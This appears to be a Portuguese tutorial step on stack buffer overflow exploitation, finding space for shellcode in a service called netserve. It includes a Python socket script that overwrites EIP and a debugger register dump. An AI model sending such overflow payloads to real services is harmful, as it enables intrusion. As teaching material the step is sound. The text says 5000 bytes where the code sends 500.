

Encontrando o Espaço Para o ShellCode

- + O objetivo aqui é verificar se aplicação aceita o shellcode, que precisa normalmente de um espaço de cerca de 500 bytes
- + Pra isso, além do offset, devemos enviar também mais 5000 bytes de teste:

```
#!/usr/bin/python
import socket

dados = "A"*2007 + "BBBB" + "C"*500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97", 5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

```
Registers (FPU) <
EAX 00EFF238 ASCII "SEND AAAAAAAAAAAAAAAAAAAAAA
ECX 00AF52E0
EDX 00000000
EBX 00000100
ESP 00EFFA18 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCC
EBP 41414141
ESI 004018F0 netserve.004018F0
EDI 004018F0 netserve.004018F0
EIP 42424242
C 0 ES 002B 32bit 0<FFFFFFFF>
P 1 CS 0023 32bit 0<FFFFFFFF>
A 0 SS 002B 32bit 0<FFFFFFFF>
```

→ Daremos um follow in dump no ESP. Caso ele aceite os 500 C's, então, uma vez que dominamos o EIP, poderemos direcionar o fluxo do programa de EIP para ESP onde estará nosso shellcode

[illegible]

→ Aqui podemos ver que a aplicação de fato aceitou nossos 500 C's, então temos espaço suficiente para o shellcode